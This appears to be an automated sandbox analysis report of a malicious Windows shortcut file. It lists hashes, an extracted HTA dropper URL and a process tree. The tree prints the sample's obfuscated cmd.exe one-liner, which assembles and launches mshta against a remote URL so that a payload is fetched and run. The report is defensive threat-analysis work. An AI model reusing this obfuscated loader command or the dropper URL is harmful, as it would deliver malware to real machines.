Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:29

General

  • Target
    DOC-24GTZ9.lnk
  • Size 2KB
  • Sample260804-kdsadavgmf
  • SHA256 6d9ee65049c40b8cc58954cb60fd03144d7db95ca1fff0217d0da16b0414ac81
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-24GTZ9.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4704
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set xqB=infezcyecainf&set ur=logupysfpsmvosczfwhblog&set vLlih=sysejghkpetvctzsys&set UEvQf=winimiejebzmpwwin&set lF=cfgxrevtbcfg&set EwEvf=cachetfykjxxngcxuvemtcache&set oxRW=vpsgcf&&set zX=02tavoi&&set lN=w5grt6&set vATnn=eqkmdih&&set hbKAk=8yfsht41b&&set ReiWe=esac&set vsw=sysimwisfojxcpwjotmsys&&set fjLt=h@t@tps://[email protected]@at@/@h/e@st@ag@[email protected]@h@p?r@=3@91469FB@5D8@2@DB&&start /b !vATnn:~3,1!!hbKAk:~3,3!!ReiWe:~2,1! !fjLt:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4192
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3972

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads